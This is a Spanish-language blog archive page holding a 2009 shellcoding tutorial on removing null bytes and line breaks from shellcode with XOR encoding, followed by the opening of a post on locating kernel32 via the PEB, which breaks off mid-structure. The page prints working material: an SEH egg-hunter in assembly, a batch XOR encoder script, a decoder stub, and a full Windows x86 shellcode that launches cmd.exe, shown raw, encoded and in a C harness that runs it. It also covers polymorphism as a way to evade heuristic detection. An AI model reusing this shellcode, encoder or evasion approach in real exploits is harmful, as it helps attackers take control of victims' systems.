Archivo para la Tutoriales & Manuales categoría

Shellcoding: No mas bytes nulos!

Publicado en Tutoriales & Manuales con etiquetas , , , , , , , , , , el Septiembre 13, 2009 por lShadowl
Shellcoding: No mas bytes nulos!

por lShadowl

Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos (“00″, “0D0A”) en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver.

Teoria :)

Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit:

Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio.

Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia.

Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada.

>>Printable x86 opcodes table

Como podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son “0D” y “0A” respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte “00″ (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar.

+Teoria: otros problemas comunes al codear //clases de shellcodes

->Shellcodes polimorficas:

Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus.

Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado.

Como? veamos de que estoy hablando por medio de relaciones:

a+b=c

b+c=c

1(a+b)=c

(a+(2*3))+(b+6)=c

Como podemos ver, operaciones diferentes, llegan al mismo resultado.

Igual en asm:

{

xor cx,cx

add cx,32h

}opcodes: 31C983C132 // cx=32h

{

xor cx,cx

mov cl,31h

inc cx

}opcodes: 31C9B13141 // cx=32h

El primer conjunto de instrucciones “31C983C132″ son diferentes al segundo “31C9B13141″, sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx.

Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante.

-> Staged shellcodes ~ Shellcode por etapas:

Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una seccion de shellcode peque?a que hace funcion de ’stub’ cargando el resto de la shellcode estando ya dentro del host.

Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt).

–> Egg-hunt ~ Caceria de huevos:

La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera seccion de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra seccion de la shellcode).

Veamos un ejemplo:

Código:
egghunt:
jmp startup

exception_handler:
mov eax, [esp + 0x0c]
lea ebx, [eax + 0x7c]
add ebx, 0x3c
add [ebx], 0x07
mov eax, [esp]
add esp, 0x14
push eax
xor eax, eax
ret

startup:
mov eax, 0x42904290         ;marca del huevo, en este caso:
                                    ;nop
                                    ;inc edx
                                    ;nop
                                    ;inc edx
jmp init_exception_handler_skip
init_exception_handler_fwd:
jmp init_exception_handler
init_exception_handler_skip:
call init_exception_handler_fwd

init_exception_handler:
pop ecx
sub ecx, 0x25
push esp
push ecx
xor ebx, ebx
not ebx
push ebx
xor edi, edi
mov fs:[edi], esp

search_loop_begin_pre:
search_loop_start:
xor ecx, ecx
mov cl, 0x2
push edi                    ;posible punto de inicio del huevo a la pila
repe scasd                  ;el puntero actual es el inicio del huevo?
jnz search_loop_failed      ;no, ok sigamos con el siguiente
pop edi                     ;bien, restauramos el punto de inicio
jmp edi                     ;vamos donde esta resto de la shellcode

search_loop_failed:
pop edi
inc edi
jmp search_loop_start

–>Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso :D :

La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los “huevos” son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola.

Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria.

Veamos por encima las estructuras del SEH:

EXCEPTION_POINTERS Structure:

Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio.

Código:
typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
}EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

EXCEPTION_RECORD Structure:

Describe la excepcion.

Código:
typedef struct _EXCEPTION_RECORD {
  DWORD                    ExceptionCode;
  DWORD                    ExceptionFlags;
  struct _EXCEPTION_RECORD *ExceptionRecord;
  PVOID                    ExceptionAddress;
  DWORD                    NumberParameters;
  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
}EXCEPTION_RECORD, *PEXCEPTION_RECORD;

Un ejemplo del w32_SEH_omelet.py de Skypher:

Código:
 // This is the binary code that needs to be executed to find the eggs,
 // recombine the orignal shellcode and execute it. It is 82 bytes:
 omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

 // These are the eggs that need to be injected into the target process
 // for the omelet shellcode to be able to recreate the original shellcode
 // (you can insert them as many times as you want, as long as each one is
 // inserted at least once). They are 64 bytes each:
 egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
 egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
 egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
 egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";

Encriptado la shellcode:

Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta seccion veremos dos metodos de encripcion: el alfanumerico y el xor.

–>Alfanumerico:

El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta.

—> Ascii art:

“Si vamos a hacer una shellcode, tiene que verse bien.”

Cita:
WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34L Z1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWH Hh

28HHXTX38d39GGGGV3717RQXH4A4a1dDb3dDbABCEFGHIJKMNO ABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKA Bh

HH39VTX30VXH4r4PP34tjAX0DqbFkDqjQ2Dqk0D1Hu9YhTtYP6 hyUpvsojbdTxAyCPDEMZTDLbprjhbXWISM3YfPmysvndkWTooN qT

DDMJGEIL7″”"”"”"*Y”"”"YHBDAILHGAMILHG7″”"”"YBMKNIL GIAIGKGEGICAEBGDGNGIFJNDGCDA7*”"”7ILPELFACCLOBJJGG LK

DDDCFCG’,dIHHHDDb,’CFb`PCLOBNGILPMPDK YKEB7 FB7″”"7EBFBFHFBFHINHOOKLAIBDMNDHFA dGJ7 “YFPPFHPMJFFHGAILF

NDMILFM BNH , cIAY DNN ILELCAADMNDDPPb JJE dHI LDE LJADPFKMDEHBCKNADMHBHFPHDKF ECE sa BMHFOKILELCEADMN

APLHDMH JIL,”"—, ELB MA7″”"*”"”7Y*”" 7DM NA7″—dY”"”*Y*”"*YDY*”"”"”*YCY*”"* MLJ Y J*”"”"”*YFFPKLFHG

BDLPHKM “YHFLEFOb, KNP P’,NA7 dKY dNP”,PN AJ YFLb`.YIAb,dCHb,’,dGALDMb,’,dGGb,JIF ,’,dAFEKNb,’FFPPNAI

FMAHEPI:—–,”JJF CFC ‘,IN7 dHM d CED EKL MGb EHP B ABK”‘*LKL FHF .,EFC FCF*’”CFE F CFC – **Y FGFCPPF

GOEILEG dPM7 O LNJ AAPTCBC( VEJ T JOH JOH QLB “”" B WDZ P QKS LZNGY**”` OGW W ONM Y `”**+uq,.’WPELAFG

VPJLWUR URH “” FYG POI .’FVb YVQ ‘,PLP GZJ “”" “ODb’ JXM E XTO COY – pqd ILD,.qOXQ 7 bpp – YKH FFKMSLB

EUSUKOX.’YWMFRRXY’,CAY Di’ZQb YIEY”OWP BYOKJACSOKY” dYOS ‘dVFB “YXVNQBY”,”YOUY”YBFb ,”YNFHOQY”.WVKQJLV

PUZZLCMFbasouvnandansodGDbuan?—, CKL eanuxzvcumndbuasodbzasudbeasznvodSboezn1ozxvdLbneu oasobXLJYYBFU

VQDTSOVGXSPY7″”"”"”"*Y”"”"7D dBW” JXO KU7″”"”"*”"”YEGLJQQLQAKSGBDEMEQLEZHTB7*”"”YKKMOPFM UWUXNFJSNPFXV

DRRQAIRQQMG’,dTRUKCHb,’SYb`Q.”YHXQZSY”.IX YONQ7.CM7 CVYAXXNBXGLFHZAKJJFEDTGW dGZ7 IRMYHDUZXIAJXIYXYRMI

MIFQRSWKMJM QVQ’, eSCY ZMR RZbaesuozsdFZXb TZH QXJ JJXZYDOSIJOLWJYIIMKVIXAVK NJH dMDTSKTOAHGWBWGIJNLIS

NHNTEDQNQSJ WFX,”"—, XSM *”"*YLY*”"”"”*Y EAA FHQ Y*”"”"”*YIY*”"”"”*YVY*”"* FML Y*”"”"”*YMAECTMQWHUOY

YFWWCIECNFK “YXIXSEAb, HFF,dSIb,’,dYPSBBb, KMH TZT ,dZQNONb,’,dNCHOVb,’,dMCb,UJP ,dNUSEJb,’KZOIXHNWBVS

GJJKBJSBMXM:—–,”KTM ORX”‘*ZUW dHA’.,ZEU SGQ UKA VLO’,`**Y OTZ’,`PYM NYN*’”PLF MJZ .,PZK RFNIKQUBDHT

QTDWEVEOXGX dVL7 Y JWC TFR Z WIL ZZNMY**”‘ ZTA CGW OND CT+=- PYQ Z QFA RJC Q GTR CGPXY**”`.YIHIUTGYLFP

IQENEBPJILC NGC,”".FIS IKK C VMZ BKO,-,qqd TUK RVY YFR,’.qqd ENO,’.SAF GZT,.qHLE HQZ – qqd FWSFUKJCEFB

YJASYKFYRCB.’YJFTEXVY’,BHY Q YGY,”YJDBBAY”,UKMb’GWb`YCABKYY”.”YDWYHIY”.”YMUY”YC Ab”YBIIYNY”,IEXZKKUMPQD

PDHBLIWPDBMQbouaenoxzdzzxedBbxoasdenxzsasdoeuneuza s1moxcasedGbzxnmexadPbaeox1xauo1eusazxzdMQGIJYYGPQ ZZ

AUYYKTZCTAWMTGVCPAMQKGZZZIUASOMJGHRKNLDYLHZYSGDJVX ETRKMNMJRUNVIOPGMZHBVXFTXWVCRQBBKJGCZPIYDFDSHGISXZ AL

ANUEFFTCYBBZKFUZRIHQPHPYDZJHOWXKUMBNWXGHBCGHWHDYVO NRGKECYYRBNTBKDLVNGQZAYMFPJVGZWXZCCJIGSNIJKRTNRZKV ZX

XPBMUPTRCDXTGCPOSCTMUQYQOZKYENJPDLZSXUFEUJCNBBZFOR BAUMFUGXFCBPQKIPHAJGITAHUNUOKFJAWSZCYASNQDNOBKJBZT UN

>> http://skypher.com/wiki/index.php/Ha…CII_Art/Blocky

Y aqui: ALPHA2, un codificador alfanumerico para shellcodes.

–> XOR-enado

Una shellcode de este tipo consiste en dos partes: el ’stub’, que se encarga de decodificar el codigo encriptado y ejecutarlo y el codigo encriptado en si.

Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR.

Veamos el codigo:

Código:
:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
	if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<

goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

El script esta bastante explicado asi que pasaremos a la prueba:

Usaremos la shellcode creada en el articulo “Creando una Shellcode“:

Cita:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x 8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x 2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52 \x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x 4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3 \x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x c1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b \x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x 0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89 \x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x 5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68 \x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\x d5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65 \x20\x00

Como podemos ver, contiene muchos bytes nulos: “\x00″.

Veamos la salida al pasarlo por el script:

Cita:
=Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x 8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x 2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52 \x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x 4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3 \x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x c1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b \x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x 0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89 \x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x 5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68 \x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\x d5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65 \x20\x00

=> Codificando Opcodes (xor 0×10)…

=Shellcode codificada: \xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x 9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f \xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x 3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42 \x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x 5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3 \x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\x d1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b \x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x 1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\ x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4 f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\ x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc 5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\ x30\x10

=> Moviendo shellcode codificada a sc.shellcode…

=> Buscando bytes nulos y saltos de linea en sc.shellcode…

=< \x00 encontrado con: xor 0×10

=> Codificando Opcodes (xor 0×11)…

=Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x 3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43 \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x 5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2 \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x 1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\ x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4 e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\ x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc 4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\ x31\x11

=> Moviendo shellcode codificada a sc.shellcode…

=> Buscando bytes nulos y saltos de linea en sc.shellcode…

=> Creando codigo fuente del stub decodificador…

****************10c111_decoder.asm********

[BITS 32]

global ini

ini:

jmp short sc_data

decode_routine:

pop ebx

xor ecx,ecx

mov cx, 0×10c1

sub cx, 0×1010

decode_loop:

xor byte [ebx], 0×11

inc ebx

loop decode_loop

jmp short shellcode

sc_data:

call decode_routine

shellcode:

*****************************************

=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea:

Cita:
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x 3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43 \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x 5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2 \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x 1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\ x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4 e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\ x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc 4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\ x31\x11

—> El Stub:

Estudiemos el stub creado por el script:

Código:
[BITS 32]
global ini
ini:
	jmp short sc_data	;obtenemos el puntero al codigo de la shellcode
decode_routine:
  	pop ebx                   	;puntero al inicio de la shellcode a ebx
	xor ecx,ecx			;ecx a cero
	mov cx, 0x10c1           ;tama?o de la shellcode mas 0x1010
	sub cx, 0x1010		;cx menos los 0x1010 a?adidos (la explicacion mas adelante)
decode_loop:
	xor byte [ebx], 0x11	;byte contenido en ebx decodificado
	inc ebx			;ebx++
	loop decode_loop		;cx=0? no, sigue decodificando
	jmp short shellcode	;si, ejecutemos la shellcode
sc_data:
	call decode_routine	;puntero a la shellcode a la pila
shellcode:

Veamos las lineas del decodificador:

Código:
	mov cx, 0x10c1
	sub cx, 0x1010

Y la del codificador:

Código:
set/a sc_sz+=0x1010

Por que es necesario sumar 0×1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como:

Código:
	mov cx, 0xb1

???

Si, si es mas sencillo, pero veamoslo en opcodes:

Código:
	mov cx, 0x10c1
	sub cx, 0x1010

>>B9C11081E91010

Código:
	mov cx, 0xb1

>>B9B100

Todo bien, pero notese algo:

B9B100

Un byte nulo, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi, hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo.

Probando todo

-Tenemos el stub para la shellcode:

Cita:
\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x 10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff \xff\xff

-Tenemos la shellcode codificada:

Cita:
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x 3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43 \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x 5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2 \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x 1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\ x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4 e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\ x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc 4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\ x31\x11

Encapsulamos en C:

Código:
char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

funciona!! :)

Referencias

Understanding Windows Shellcode
en.wikipedia.org/wiki/Shellcode
skypher.com/wiki/index.php/Main_Page

Articulos mios relacionados al shellcoding:

Creando una Shellcode (x86¦win)
Creando una Shellcode: “Direccion de kernel32 y calls especiales”

Saludos!

Creando una Shellcode: Direccion de kernel32 y calls especiales

Publicado en Tutoriales & Manuales con etiquetas , , , , , , , , , el Septiembre 12, 2009 por lShadowl
Creando una Shellcode

Direccion de kernel32 y calls especiales

Articulo previo: Creando una Shellcode

por lShadowl

———————————————————————————————————–

Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.

———————————————————————————————————–

Teoria

Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/

Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).

PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:

Código:
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;

La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:

Código:
mov ebx,fs:[0x30]

podemos tener en ‘eax’ un puntero a PEB. Pero para que nos sirve tener acceso a PEB?

En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:

Código:
 PPEB_LDR_DATA                 Ldr;

Ahora, veamos la estructura de PEB_LDR_DATA:

Código:
typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

Bien, lo que nos interesa aqui es la list entry:

Código:
LIST_ENTRY InLoadOrderModuleList;

Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:

Código:
typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
